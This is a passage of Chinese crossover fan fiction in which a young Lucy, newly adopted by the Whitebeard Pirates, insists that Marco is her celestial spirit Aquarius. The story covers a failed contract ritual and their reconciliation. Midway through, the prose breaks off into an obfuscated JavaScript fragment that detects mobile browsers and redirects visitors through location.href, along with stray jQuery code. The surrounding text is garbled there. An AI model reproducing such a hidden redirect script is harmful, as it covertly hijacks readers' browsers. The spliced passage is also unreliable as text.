“卡普先生。” 嗖。 卡普将大炮投掷出去。 噗通! 巨大的浪花溅上甲板。 “嗯?博加特?你应付完了?”卡普看了他一眼,哈哈笑着放下炮弹,“那两个家伙真是烦人啊。” 博加特淡淡道:“所以我帮中将打发他们了。” “哦,真是靠谱!” 海水将不少受损的木板残骸冲下甲板,小兵们踩在断裂处,用锯子将船体的损坏切断,木屑扫进大海。锤子的敲击声铛铛响着,还能用的木条被取下钉子,切割成正常的形状装在推车里移走,运到破损的舷墙边修补。 博加特的视线从军曹检查物资的动作上掠过,很快回到平静的海面。白胡子海贼团的船只已经看不见了,海鸟重新回到这片海域,他摸出口袋里的打火机点了根烟。 烟圈在海风中散开。 “卡普先生,真的要把那个孩子交给白胡子海贼团吗?” 卡普挠了挠头:“老夫是想过把她带回去,正好老夫有两个孙子,他们一定能玩得来。” “您应该坚持的。” “可是博加特,老夫出身东海啊。”卡普看着大海,他抛着漆黑的炮弹,像握着一个苹果那样轻松。这位令所有海贼都忌惮的鼎鼎大名的铁拳卡普,此刻,金色的流苏在风中微微晃动,他的声音却只剩下一种空白的无奈。 “老夫的孙子现在就在哥亚王国。” 如果将那个名叫露西的女孩带回去,他不可能停留在风车村,那个女孩不就等同于重新回到父母的掌控之下吗? 博加特沉默着,烟灰带着火星落在甲板上。他移开香烟,像是在反复斟酌,还是忍不住开口。 “为什么不把她带回马林梵多呢?” “您不是说战国先生有一个养子,您完全可以像战国先生那样收养她。就算平常不带在身边,海军本部那么多少将、中将、大将,包括战国先生的养子,都会很乐意陪她训练的。” 他一口气说完,甲板上的气氛陷入诡异的沉默。 “……老夫忘了!!!” “所以您根本没想过回马林梵多啊?!” “说起战国的养子——”卡普没有理睬博加特的吐槽,他收敛表情,像是想起了过去的事情,“老夫见过他。博加特,你小子说的对,他绝对会喜欢这孩子的!……可惜,他现在不在马林梵多。” 博加特吐了口烟:“卡普先生,您将那孩子让给白胡子,以后一定会后悔的。我有预感,那孩子长大后会很麻烦。” “是吗,老夫倒是觉得她以后会成为很正直的人。” “被白胡子海贼团养大的……正直吗?” 卡普大笑:“别担心博加特,如果她真的走上海贼的路,老夫会亲自逮捕她。” …… “从今天起,露西妹妹就是一名海贼了!干杯!” “干杯!” “欢迎露西妹妹加入白胡子海贼团!” “干杯!” “为了老爹击退铁拳卡普干杯!” “干杯!” 莫比迪克号,卡普离开后,海贼们重新将被打断的宴会拉了出来。他们连船头的损伤都懒得修补,草草确认了一下不会有影响,一群大老爷们将烧烤架继续摆上。酒桶已经随着海水飘远了,海贼们趴在缆绳上小小地可惜了一下,转身跑下楼,去仓库里将更多酒桶抱上来。 十二番队的队员们砰砰砰地砸开医疗室的门,丢下一句开宴会,又像百灵鸟似的飞远,一手抓面包,一手拖活鱼,头上顶果盘,胸前挂葡萄,脚下踢着圆酒桶。他们在控制室门口喊了两声,大摇大摆地上楼。 四番队的队员们在楼梯口接应,一拉一抛,海鲜飞到船中央的露天厨房。反正舷墙也要修了,他们干脆踩着裂口划划地刮鱼,鱼鳞飞溅落在海面上,被聚过来的鱼虾吃掉。 “烤肉来了——” 四番队端着烤肉、水果、和拼盘扔进人群,顺手偷了一只鸡腿塞进嘴里,转身去忙刺身。 呼。 一口烈酒吹起炙火,萨奇熟练地翻烤,海贼们大咧咧坐在地上,长长的通道挤得水泄不通。每个人脸上都洋溢着无比真实的笑容,不知是谁先哼了一句,莫比迪克号的甲板上响起不算好听,但狂放自由的海贼之歌。 “宾克斯的美酒送到你身旁” “像海风随心所欲乘风破浪”[1] …… 露西坐在垫子上抱着自己的水杯小口小口地喝着,海贼们的歌声暖洋洋地围在耳朵边,海风再大、再冷也吹不进来。护士们给她做了个小皇冠戴在头上,她自由地笑着,视线从海贼们身上扫过,忽然笑容就淡了。 “罗莎娜,你看到阿葵亚了吗?” “阿葵亚?”路过的哈尔塔停下脚步,指了指坐在老爹身边被海贼们敬酒的马尔科,“喏,那儿啊。” 露西惊喜地站起来顺着手指的方向看去,海贼们瞄了一眼马尔科,勾肩搭背地怪叫着窃笑。 “……哈尔塔骗人。”露西没看到。 砰! 甲板上的众人齐齐倒下。 布拉曼克有些汗颜地擦了擦额头上的汗,肚子上的粉红熊皱皱巴巴地委屈着:“露西酱,你好好看看,你说的阿葵亚不就是马尔科队长吗?” 露西震惊:“诶?” “你诶什么?!” 露西抬头看向马尔科,坚定地摇了摇头:“他不是阿葵亚。” 萨奇看热闹不 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一众叫好声里,青年接过酒杯。 露西从海贼们之间跑过去,停在马尔科面前,她眼中的星星还没有消散,笑容像阳光一样灿烂。 队长们期待地看着她围着青年绕行一圈,抬头,满脸激动—— “阿葵亚呢?” “嘘——!” 队长们倒地。 萨奇从地上爬起来,瞄着马尔科那张欲言又止的脸,咳嗽两声:“露西,马尔科就是阿葵亚!那是马尔科队长的不死鸟形态,是他的果实能力!” 什么?你在说什么? 露西像个小老人整张脸皱在一起,不太情愿地缩着脖子往后。 对不起萨奇,露西听不懂。 马尔科简直无语了,他站在原地抽了抽嘴角:“原来你在找的人是我啊yoi,我还以为船上真的混进来一个果实能力者呢。” 看到女孩不赞同的眼神,青年挑了挑眉,觉得好玩,蹲下来和她平视:“怎么?你不是见过嘛,你从酒店跳下来的时候,是我接住的你。” 他故意伸出一根手指在露西面前化作蓝火。 “诶?!!” “你现在惊讶了,你当时明明听到我说话了呀!没认出来吗?”马尔科比她还要吃惊。这些天的提心吊胆到头来是个误会,青年气得牙痒痒,伸手想要像和兄弟们相处那样敲她一下,可真的上手,根本舍不得,只能缩回手摸了摸自己的鬓角。 “这么说你当时就问我来着,我居然忘了yoi。” 他自嘲道。 露西听糊涂了,脑袋里有一群小人在打架。 阿葵亚,是马尔科? “你,你可以再变一次吗?”孩子抓着他的手问。 “你当我是什么,宠物吗?”马尔科捏了捏她的手心。 嘴上这样说着,他的身体听话地变成不死鸟。 明蓝色的大鸟像一团燃烧的火焰站在甲板上,美的惊心动魄,露西上前一步伸手,马尔科连忙控制再生之炎不让自己烫到孩子。露西觉得自己一定是在做梦,她走进那团像海潮一样的火,不死鸟的尾巴温顺地流淌向前,从侧面轻轻裹住孩子。蓝色的草原围绕在身边,她害怕惊醒这个梦,小心翼翼地摸上不死鸟的头。一大一小两双眼睛的视线交汇。 火焰褪去,马尔科从不死鸟变了回来。他仍然保持着蹲在原地的姿势。青年安静地注视着她,露西的小手正贴在他的脸颊上。 露西眨了眨眼。 不是做梦。 “阿葵亚,是马尔科?”女孩抱住自己的脸,眼睛里好像有圈圈在转。 “阿葵亚是马尔科?”她又重复了一遍,声音都在颤抖。 “明明她是女孩子?” “是他,不是她。” 马尔科纠正,“就算我变成不死鸟也是男性yoi。” 可是两个长得不一样的家伙居然是一个人? 马尔科好脾气地看着她,眼神柔软,又带着点无奈。 “露西,你承认我的不死鸟形态是阿葵亚,却不承认我?” 露西辩解:“因为你们长得不一样啊!” “那只是我的能力yoi。”马尔科说,“变成鸟,我还是马尔科。” 露西看看他,闭起眼,眉头紧紧皱在一起。阿葵亚的模样在眼前闪过,她张开眼握住水瓶座的钥匙,冷汗不断往下流。 阿葵亚,马尔科。 露西盯着马尔科看了三秒,突然一拍手:“露西明白了!” “阿葵亚有两个样子!” 艰难的一句话,她终于找到一个合适的理由。不等马尔科反驳,孩子收起钥匙,扑过去抱住青年的腿:“阿葵亚~” 她彻底接受了这个事实,拖长声音撒娇:“露西终于找到你了!露西等了你好久好久啊,终于和你见面了——” 海贼们听着她的童言哈哈大笑,调侃起马尔科。马尔科挥挥手让他们滚远点,明明被孩子如此信任和依赖地拥抱,他的心里却没有想象中那样开心。 “都说了我是马尔科。” 青年的自言自语被淹没在吵闹声中。 20.契约?大失败! 而露西,在接受阿葵亚等于马尔科这个事实后,几乎是立刻就做出决定——她要和阿葵亚签订契约。 她说不出原因,但是冥冥之中有一个声音告诉她,她应该这样做。 “契约?” 等了一个晚上,直到第二天宴会结束,宿醉的海贼们都还在呼呼大睡的时候,露西终于推开房门,在甲板另一头找到了正在给白胡子检查身体的马尔科。 马尔科将笔夹在病历板上转过身看她,眼中流露出明显的意外:“那是什么yoi?” 露西正要开口,忽然注意到坐在青年身后的白胡子,她穿着护士们给她改小的裙子,提起裙摆微微屈膝:“白胡子船长,早上好~” 白胡子的鼻涕泡啪地破了,像是刚刚醒来,低声应了一句。 马尔科一眼就看出老爹在装睡,他有些无语,但没戳穿白胡子看热闹的心思,只是告诉露西:“露西,你已经是老爹的女儿了,你应该和我们一样称呼他老爹。” “老爹。”露西从善如流。 打完招呼,她重新看向马尔科,一双眼睛亮闪闪地盯着青年:“阿葵亚,和我签订契约吧!” 马尔科因为这个称呼皱了皱眉,心里像是被突然刺了一下。 他不太舒服地拉了拉衣服,问:“为什么要签订契约?” 露西苦恼:“因为你是我的星灵啊。” 星灵和魔导士之间当然要签订契约。 咦?魔导士是什么? 露西敲了敲自己的脑袋,对那个突然出现的词汇感到纳闷。 一旁观察着女孩动作的马尔科叹了口气。 【又是那个叫星灵的过家家啊。】 “星灵就要签契约?” 露西重重点头,掏出自己的钥匙对准对方。 马尔科看着她的动作,犹豫起来。 契约。 海贼们习惯于直接的打打杀杀,契约这种词对他们来说显得太遥远。但新世界那些建立了自己的家族,拥有地盘的大海贼团偶尔也会用到这种商人喜欢的东西。不过到了海贼手里,比如BIG MOM,契约的内容必须是很重要的事情。同样,违反将付出相当惨重的血的代价。 只是过家家,契约是不是有点…… “马尔科。” 沉思中的马尔科被白胡子的声音拉回现实。 马尔科看了老爹一眼,又看向露西。女孩还举着钥匙一脸期待地等着他回应。他突然想起有一次在岛屿上听见孩子们讨论的故事——公主等待骑士亲吻她的戒指,发誓替她讨伐恶龙。 看着露西稚嫩的脸庞,马尔科突然醒悟,拍了拍自己的额头。 【真是的,我在纠结什么啊yoi。露西才七岁,她懂什么契约,就是小孩子玩过家家嘛。】 想通之后,马尔科笑着叹气,蹲下来告诉露西:“好,等我给老爹检查完就和你签yoi。” …… “所以……这事和你们有什么关系啊yoi!你们没事干吗?” 甲板上,海贼们里外三层将青年围住,那些宿醉后的酒气浓郁得能熏死浮上来的鱼。 马尔科恼怒地推开挤在身边的兄弟们。 萨奇一把勾住他的肩膀,笑嘻嘻说道:“别小气啊马尔科,我们只是想知道契约长什么样而已。” “对!”众人附和。 以藏没有像往常一样盘着发髻,而是用簪子斜斜将长发束住垂在脑后。粉色的和服披在肩上,燧发枪斜插腰间,他失去口脂装点的面容多了几分男子的凌厉感。身形修长的青年站在一众不修边幅的兄弟间,淡然开口:“要给你准备酒和刀吗?” “什么?” 以藏解释:“双方在掌心划一刀滴在酒碗里,然后喝下去,代表契约已成。” 话音未落,布拉曼克麻利地从口袋里掏出酒碗和刀,咚一声放在甲板上。 马尔科吐槽:“袋袋果实是这样用的吗?” 哈尔塔仗着敏捷钻到人群最前面,踢了踢刀,毫不客气:“马尔科,我帮你划!” 马尔科低头看那两盏红黑色的酒碗,又看了看哈尔塔脚边手掌长度的短刀,眼前不由得浮现出露西纤细的金发,和手臂上浅浅的疤痕。 他皱了皱眉。 找个时间用再生之炎把那些疤痕去了吧。 哈尔塔见他不回答,默认允许,兴致勃勃地拽着马尔科的手往刀那边凑。马尔科好脾气地由他去,嘴里抱怨道:“我有不死鸟的果实,划多少刀都无所谓yoi,你们应该担心露西才对吧。” 话音未落,海贼们全都停下了。 几秒沉默后,甲板上爆发出激烈的抗议。 “马尔科!露西那么小,你居然想在她手上划口子?!我真是看错你了!” 马尔科被人重重拍了一记,他差点一口血喷出来,简直不敢相信自己听到什么:“不是你们说的要在掌心划一刀!这可是契约啊契约!你们是冲着我一个人来的吗?” “马尔科。”以藏露出不赞同的目光,“露西才七岁,她只是想要和你玩罢了,你太较真了。” “是啊马尔科。”金古多瞥了他一眼,“这可不是新世界海贼之间那种血淋淋的契约。” “我较真?!” 马尔科看向拿着刀的哈尔塔,银光在闪烁,再看看把自己围得水泄不通,就等着把他按住的船员们。 “所以我受伤就没关系是吗?!” “你可是不死鸟啊……” “你们这群混蛋!”马尔科上手推人,被兄弟们扯着衣服拉回去,一群人在甲板上闹起来,浪花拍上船沿,莫比迪克号好像也在因他们推搡晃动。他们一边扯衣服,一边揪头发,伸着腿就冲旁边踹。一时间,甲板上各种抱怨、争吵、挑衅、劝架的声音此起彼伏。 突然,有人喊: “露西来了!” 闹成一团的甲板陡然一静。 唰。 下一秒,海贼们瞬间推开彼此,只留下马尔科一人衣服凌乱,头发也不知道被谁揪过,几簇金发像菠萝叶子似的竖起来。 “露西,我们等你好久了!”这群男人陪着笑看她。 马尔科看着他们谄媚的模样捂脸。 “别废话了快点开始契约吧!”哈尔塔早就等不及了,冲过去抓住马尔科的手,拔刀一划。 滴答。 他抓着马尔科的手按在酒碗上方,鲜血顺着掌纹落在碗中。 露西好奇地凑过去,跪在地上看酒碗里被血晕开的酒水。那点红色像不死鸟的拖尾沉进水底,融进碗身的黑色。 “哇。”女孩抬头问,“这是什么呀?” “这是契约仪式哦。”萨奇向女孩解释。 “契约?”露西一脸好奇地看马尔科,“阿葵亚,你要和谁签订契约?” 萨奇疑惑一声,海贼们面面相觑。青年犹豫片刻,不太确定地问她:“露西,你不是……要和马尔科签订契约吗?这就是契约啊。” “诶?”露西震惊。 “诶?”这是众人。 “这不是露西的契约。”女孩皱着眉回答。 唰。 所有人齐齐看向以藏。 “原来如此,还有其他仪式吗。”以藏一脸平静,毫无愧疚。他点点头,仿佛最初提出这个建议的不是自己,“我倒是想见识一下呢,露西的仪式是怎样的?” 没等众人吐槽,女孩眼睛亮了起来。她走到马尔科对面坐下,一本正经地板起脸,严肃道:“咳咳,阿葵亚,你愿意做我的星灵吗?” “哦哦哦——”大家发出怪叫。 “你们想什么呢,露西才七岁吧!”马尔科吐槽。他看了露西一眼,不太自然地挠了挠头。 【阿葵亚什么的……好歹要叫我的真名吧yoi。】 但他还是压下那点不爽,配合女孩问:“说愿意就好了吗?那……行啊,我愿意。” 听到这个答案,露西脸上露出欣喜的表情。女孩故作严肃地收敛起高兴,眼睛却笑开花。她抿着嘴,快速爬起向他鞠躬。以藏一把按住起身的马尔科跪回去回应。 “这就好了?” 露西骄傲地点头,拿出水瓶座的钥匙用力向前一刺。 “……” 众人扭头看她。 露西眨眨眼。 “啊!”她明白了。 阿葵亚是在鱼缸里召唤出来的。 鱼缸,鱼缸…… 女孩扫视一圈,把钥匙对准地板,回头去看马尔科。 大家顺着她的视线看过去。 “……” 嘎,嘎,嘎。 海鸟扇着翅膀飞过上空。 露西大惊失色:“露西失败了。” 海贼们抓了抓头,问她:“难道是因为马尔科没有用不死鸟形态?!” “和那个无关吧!”马尔科抗议,“变成不死鸟我还是我啊yoi。” 可大家推他,让他别废话快点照做。马尔科不太情愿地被他们推到孩子面前,看着那个皱着眉盯着钥匙发呆,觉得自己一定做错了什么的女孩,他犹豫了一下,最终,蓝色的再生之炎还是从身躯燃起,将他烧成不死鸟的模样。 青年抖了抖羽毛,跳了一下落在甲板上。 爪子与地面的摩擦声滑过耳畔,露西握着钥匙抬头,原本有些黯淡的眼睛一下子亮了。她尖叫一声扑过去摔在不死鸟胸前的羽毛里。 “阿葵亚——”孩子拖长声音撒娇。 一众没出息的海贼们掏出不知道哪儿来的手绢咬在嘴里,气得又哭又闹。 “可恶,撒娇的露西酱……为什么是朝马尔科队长啊!” “小露西果然还是喜欢马尔科这副模样,明明都是马尔科呢,差别这么大。” “我看是因为人形态的马尔科没有头发,抱起来没有不死鸟舒服。” 低头用喙轻轻碰触孩子发旋的马尔科猛地抬头,抗议:“我听得到!这是我的发型而已,是我特意留成这样的yoi!” 露西蹭了蹭不死鸟的羽毛和那些并不会烧到自己的火焰,她扑在毛茸茸里抬头,一脸真诚地问道:“阿葵亚,你愿意做我的星灵吗?” “快回答她愿意!” “你们够了。”马尔科吐槽。 他看着女孩,叹了口气:“好,我愿意。” 露西立刻松开他,拿出钥匙对着空地举起,嘴里大喝一声。众人闻声看过去,一阵风刮过,什么都没有。 什、么、都、没、有。 “……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040881|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “失、失败……”露西震惊地倒吸一口凉气,连退数步捂住胸口,噗通一声跪在地上。 女孩像一颗失落的蘑菇幽怨地把自己缩起来:“露西又失败了,阿葵亚没有和露西签下契约……” 她吸了吸鼻子,扭头,对着马尔科的方向,眼眶一下子湿了。 “马尔科!看看你做了什么!” 海贼们惊慌失措地提着变回人的马尔科的领子摇晃,扑过去一个滑铲跪在孩子身边,痛哭砸地,抱在一起,好像下一秒世界就要毁灭了。 “呜呜呜——露西!” 马尔科看着这群情感充沛的笨蛋无奈地摇头,转身要走。 “你走什么?!” “马尔科回来!” 队长们一把将人拖回来。 “一定是马尔科的问题!” “马尔科你这家伙,肯定是你说的太犹豫了所以才没有成功!” “快快快,重新来一次!”萨奇对着马尔科比划,眼神里明晃晃的威胁,咬牙切齿,“这一次要声音响亮一点,坚、定、一、点!” “对啊露西,别放弃,俗话说事不过三!这一次一定能成功。我们再试一次!” 以藏略过那些痛哭的兄弟将女孩抱起来安慰,放在空地上。露西抹了抹眼泪,看着以藏好看的脸,被拒绝两次的难受终于得到一丝安抚。她挂在青年身上不肯下来,队长们劝了半天,她这才被哄着爬下来,捡起自己所剩不多的信任,泪汪汪地看着马尔科。 “阿葵亚……你愿意做我的星灵吗?” “愿意!”众人咆哮。 马尔科恨不得一巴掌将人掀出去:“和你们有什么关系!” “放心马尔科,我已经完全懂了。”趁着露西被其他人围住,哈尔塔瞬移过来撞了撞他,胸有成竹地指向空地,“她举钥匙你就飞过去,仪式肯定成功!” 说完,他给了马尔科一个挑眉。 萨奇倒是看出马尔科在别扭什么,低声道:“马尔科,你在计较那个名字吗?” 不等马尔科开口,他安抚地拍肩,堵住他的嘴:“别在乎那个名字了!一个称呼而已!小女孩的想法我们摸不透的——” 以藏不太赞同地接过话:“虽然是露西的过家家,马尔科也应该认真对待,孩子是能感受到的。” 马尔科几次想要打断,统统被拦下。他只能频频点头,告诉他们:“我知道。” 他知道。 可是他怎么可能不在意。 他是马尔科,不是阿葵亚。 但这只是一场过家家。 马尔科看着露西,努力压下那点别扭,在心里说服自己。他默念几遍名字,看向期待的女孩,眉眼松开,露出一个安抚的笑:“我愿意。” 滴答。 话音落下的那一刻,一个陌生的图案在眼前浮现。金光流淌过他的身体,他听到世界上一切的水的声音。他是吃了恶魔果实的能力者,大海已经厌恶了他,可是此刻他却感觉到自己毫发无损地站在汹涌的海浪之中。 一位蓝色长发的人鱼抱着水瓶站在海中,看着他的目光充满嫌弃与无奈。 【这种心思重的家伙,臭丫头你选男人的眼光果然一如既往的——】 【哼,便宜你了……】 她瞪了青年一眼,身体如泡沫般消散。 马尔科眨了下眼。 奇怪的感觉瞬间如同潮水褪去,萨奇推了他一把,视线向下,他看见露西还拿着钥匙在观察自己。 马尔科想,要不就满足一次孩子的心愿?可他刚要起飞,这一次,露西却说话了。 “打开吧,水瓶宫之门。” 没头没脑的一句话,只有马尔科隐隐感受到,露西在叫他。 无形的力量从钥匙方向传来,仿佛要将他拖过去。马尔科不受控地向前移动了一下,肌肉猛地一僵。一种被人操控的厌恶感涌上这位年轻的大海贼心头,他停下脚步,意识比身体先一步抗拒。 咔擦。 无人可见的地方,那扇本来正在缓缓打开的水瓶宫的大门突兀地停下,门扉上的标记再一次黯淡。 露西顿了一下,似乎察觉到什么,看向自己的钥匙。 她的心口好像有什么东西被拒绝了。 一种悲伤的情感源源不断地上涌,溢出水罐。 马尔科对此一无所知,他只觉得身体突然轻松起来,对上哈尔塔点头示意,落到钥匙所指的空地上,不太自然地咳嗽两声。 海贼们对视一眼,夸张地鼓掌欢呼,附和道:“哦哦哦——契约成功了!” “原来是召唤马尔科的契约啊,小露西好厉害!” 马尔科尴尬地摸着后脑勺,在萨奇等人的挤眉弄眼下硬着头皮开口:“是、是啊,没想到我真的被召唤过来了,真是厉害的契约yoi……” 他看了一眼女孩,声音戛然而止。 露西的肩膀抖了抖。 “……喂马尔科,是不是……” “阿葵亚是大骗子!” 女孩冲出人群。 海贼们愣在原地,尖叫:“萨奇!不是按你说的做的吗,怎么小露西还是哭了?” 萨奇看着女孩的背影自己也觉得纳闷:“不应该啊,难道我理解错了?” 21.马尔科不等于阿葵亚 萨奇理解错误并不重要,反正露西不理睬的是马尔科。 头几天,海贼们还敢幸灾乐祸,可是一周后,露西依然没有改变想法。 海贼们在心里哀嚎:小露西,快和马尔科队长问好啊!你没看到马尔科队长的笑容很恐怖吗?! “她可真有毅力啊。”哈尔塔从餐厅里探头,瞧见露西大咧咧从马尔科身边走过,和所有人都笑着打招呼,唯独略过这位一番队队长。 “马尔科真能忍,他就不……”一句话没说完,哈尔塔看见马尔科朝这边走来,连忙起身坐回高凳,拿了个杯子装模作样地喝起来。 “哟萨奇,中午吃什么啊yoi?” 萨奇侧身看了眼食材清单,报了几个名字。 “刚钓上来的海王类,我做个炙烤。蔬菜……生菜可以打底,等下,还是炖菜吧,胡萝卜还有很多呢。” “胡萝卜?”哈尔塔咽下酒抬头看他,语气肯定,“胡萝卜就不用了。你没发现每一次吃饭露西都会把胡萝卜挑出来,放在碗前面你看不到的地方吗?” 这可是个大发现,萨奇将本子扔在桌上,一脸震惊混合着疑惑:“小露西挑食啊——” 正说着,通道传来孩子的脚步声。露西跑到吧台前,踮着脚露出自己的小手,脆生生道:“萨奇,请问我可以有一个苹果吗?” 萨奇将苹果抛过去,孩子高兴地抓着跑去甲板喂海王类了。 哈尔塔的视线再次从马尔科身上滑过。青年耷拉着眼皮起身离开,似乎一点也不在意。 “他还不行动?” 萨奇对上哈尔塔的视线,摇了摇头。 午饭的时候,露西回到餐厅里,几个队长看着她从马尔科身边走过,像往常一样坐在自己的高凳上。 “萨奇,你给错了。”露西和自己面前的饭碗大眼瞪小眼。 “没错。” 露西看了一眼,肯定道:“这个不是露西的碗。” 萨奇附身:“是你的碗。” 孩子很不情愿地用手指推着碗向前移,发出令人耳酸的摩擦声。 “才不是!这个碗里有好多胡萝卜!” 萨奇哈哈大笑。 下一秒,青年的脸色变得十分严肃,甚至有些阴沉:“没错就是你的。” “小露西,如果不是哈尔塔告状,我都不知道你居然每一顿都将胡萝卜挑出来放在我看不见的地方——” 噌。 露西猛地回头怒视,哈尔塔一口水喷出来,狼狈地起身放下水杯,装作很忙的样子避开孩子的视线。 “露西——回来,胡萝卜是很有营养的蔬菜,对你身体有大帮助。”萨奇的大掌扣在女孩头上,不轻不重地将她转过来。 露西一脸嫌弃地蔑视那些橙色的蔬菜,义正言辞道:“不,胡萝卜没有用,胡萝卜最难吃了!” 萨奇故意叹了口气,松开孩子,不经意提起:“小露西还是太年轻了,不知道胡萝卜的作用。要知道以藏可是很喜欢吃胡萝卜的。你不吃,变不成他那么好看咯。” 努力仰头不和胡萝卜呼吸同一片空气的露西听到这句话,眼睛唰地亮了。她整张脸写着“你没骗我吧”的迟疑,扭头去看以藏的方向。 半晌后,她失落地垂下头。 以藏居然真的吃胡萝卜。 露西撇撇嘴,视死如归地闭眼,在碗里翻来覆去,舀起最小的一块胡萝卜颤抖着放进嘴里,嚼了两下。 她放下勺子不动了。 “哈哈哈!” 萨奇拍着桌子大笑,露西的表情真的太好玩了。 露西睁开眼看他,眼睛一酸,泪水不受控地流下来。 “哭也没用,你今天肯定得吃。”萨奇得意洋洋地抱着手看她。 就在这时,一只手从旁边伸过来。 是马尔科! 他将露西碗里的胡萝卜挑出来,留了两块重新放回孩子面前。 “喂马尔科,亏你还是医生呢,这么溺爱小孩子真的好吗?” 马尔科面不改色地将孩子的胡萝卜吃掉,淡淡道:“萨奇,你给她的胡萝卜太多了yoi,会不消化的。” “咦?谁把露西的胡萝卜拿走了?露西完全看不到!” 萨奇想要调侃的声音顿住了,有些尴尬地看向马尔科。 马尔科停下咀嚼的动作:“你真的不打算和我说话?” 露西转着眼睛将胡萝卜塞进嘴里,咔嚓嚼碎,混着汤咽下去。 “我吃好了。” 她头也不回地跳下椅子跑了。 远处的哈尔塔挑了挑眉。 新世界的海贼哪个敢这样无视白胡子海贼团的马尔科,真以为他脾气好就能拔老虎胡须啊? 他可是十几岁就跟着白胡子,一路从见习船员走到一番队队长,超过了同为元老的乔兹和比斯塔成为白胡子海贼团公认的二把手。这种家伙,只靠脾气好是不可能有这种级别的威望的。 马尔科喝了一口水,起身离开。 青年本能地往甲板走去,不需要过多思考,他就是知道露西会在那里。果然,马尔科到的时候,露西趴在布拉曼克背上睡着了。金发青年拍了拍六番队的队长,布拉曼克使了个眼色,打牌的海贼们纷纷起身踮着脚离开。男人将熟睡中的孩子递给青年。 马尔科将她放在自己身边,坐在船头安静地望着海面发呆。 …… “阿嚏!” 露西揉着眼睛爬起来。 咦,布拉曼克不见了,甲板上没有人,除了—— 马尔科。 露西瞬间清醒,爬起来就跑。 但这一次,马尔科没打算放过她。 他连转身都不需要,长臂一拦将孩子抱了回来。 露西扑通一声坐在地上,感觉到青年周身气氛有些绷紧。他没有用力锢住女孩,但两条手臂牢牢拦住了所有可以逃脱的路线,露西有些害怕,抓着自己的衣角发呆,好像那里有什么很新奇的东西。 头顶传来一声无奈的长叹。 “我要怎么做,你才会消气yoi?” 露西甩开衣角,愤怒控诉:“阿葵亚是大骗子!” “我哪里骗你了?” 露西瞪了他一眼扭过头去。 小孩子的心思真的很难猜啊,马尔科好脾气地求饶:“告诉我吧露西,男人是很笨的,你不告诉我,我永远也不会知道yoi。” “我不告诉你,你就不知道吗?” “是啊,”马尔科说,“我就是这样笨拙的家伙呢。” 孩子再一次沉默了。 “那我来猜,好吗?是因为那天的契约仪式吗yoi?” 话音刚落,露西炸毛了。女孩转过身来瞪了马尔科一眼:“阿葵亚根本就不想成为露西的星灵!” 马尔科试图遮住她愤怒的双眼,孩子啪一声打开他的手,恶狠狠地盯着他。 金发的不死鸟揉了揉她的头:“这可真是冤枉我了yoi,那么多人在场,我明明答应了你三遍。” “不,阿葵亚不是真心的!”露西摇头。 被孩子这样坚定地批评,马尔科有些摸不着头脑。虽说他的确将那天的事情当成过家家,但他自认为自己还是挺认真的,为什么露西一再强调自己不是真心? 露西低下头去,仿佛很失落。几秒后,她重新抬头,眼睛里写着一种名为试探的小心翼翼的光:“阿葵亚……露西哪里做的不好吗?” 沉思中的青年被女孩的声音拉回现实。马尔科顿了顿,随口答道:“没有,你很好。” “那为什么身为星灵的阿葵亚不承认我?” “我没有不……”马尔科看着船头掀起的浪沫,下意识回答。他的声音突然卡壳,因为他意识到,露西是真的想要知道原因,那他应该平等地和她交流才对。 海浪柔和地响着,甲板尽头传来海贼们追逐的声音。又有一条海王类上钩了,他们欢呼着抬着猎物放在甲板上。空军的海贼看了一眼,梗着脖子不愿意离开。 新的送报鸥在船头盘旋,马尔科似乎思考了很久,像是不经意问起:“露西,你——为什么要管我叫阿葵亚?你不记得我的名字了吗?” 这件事被他压在心里很久了,自从露西确认自己是阿葵亚后,她就没有再喊过他的名字。 一次都没有。 看着前方的女孩对着海面露出一个疑惑的眼神,声音清澈:“露西记得!可你就是阿葵亚啊!” 马尔科沉默了。 半晌后,他叹了口气,像是在自嘲:“所以对你来说,只是一个名字是吗?” 他摸了摸自己的金发:“真是……我到底在纠结什么啊yoi……” 马尔科要怎么对女孩开口呢?告诉她,自己别扭的原因是觉得她看的不是自己,不是他本身——这个名为马尔科的男性、白胡子海贼团一番队队长、不死鸟果实能力者?他抗拒成为女孩心里那个虚假的人物,一个替身,哪怕只是那个名字?这实在太说不出口了。 一只小手摸上他的脸庞。马尔科回过神,露西看着他,棕色的眼睛里倒映出男人的身影。她摸上马尔科有些粗糙的温热的脸颊,像是懂了,又好像不太懂。 “你在生气。” 马尔科挑了挑眉,双手后撑,不太想回答这个问题。 露西眨眨眼:“你生气了。” 她爬过去抱住青年:“对不起。” “你不需要道歉yoi,”马尔科干脆利落地告诉她,“是我自己的原因。” 可是紧接着,他发现自己胸口湿了。 他有些紧张地坐起来:“不是吧,你又哭了?” 他连忙伸手想要看看孩子的情况。 露西的眼泪大颗大颗地往下落,她抽泣着说:“原来,原来是露西的错,露西做错了。” “都说了你没错,是我的问题yoi。”马尔科幽幽叹气,用手指擦去女孩的眼泪,“以藏说的对,我太较真了。” 可是露西一个劲摇头,她的记忆里有一些模糊的画面,一个声音告诉她,她错了,她没有尊重星灵,所以星灵才会拒绝她。星灵不是工具,星灵是家人。 “对不起,马尔科。”她哭着开口。 金发青年摸着女孩头顶的手似乎顿了一下。 几秒后,露西听到一声像薄荷糖一样的轻笑。 “你终于喊我的名字了,我可以把它当成我们冷战结束了吗?” 女孩点点头,边哭边抹眼泪,嘴里含糊不清:“对不起……我不会和马尔科冷战了,我不会不尊重马尔科了……马尔科不喜欢,我不签订契约。” 马尔科抱着她用自己蓝色的腹卷给孩子擦鼻涕。露西的头发哭乱了,他将布带扔在一边,解开孩子脑后的发圈重新给她扎。露西趴在青年腿上抽噎,马尔科一边喊她别动,一边弯着腰跟过去,生怕自己动作慢了扯到她的头发。 露西还在哼哼唧唧,像一条蚕蛹蛄蛹着:“对不起马尔科。” “都说了是我这边的问题yoi。” 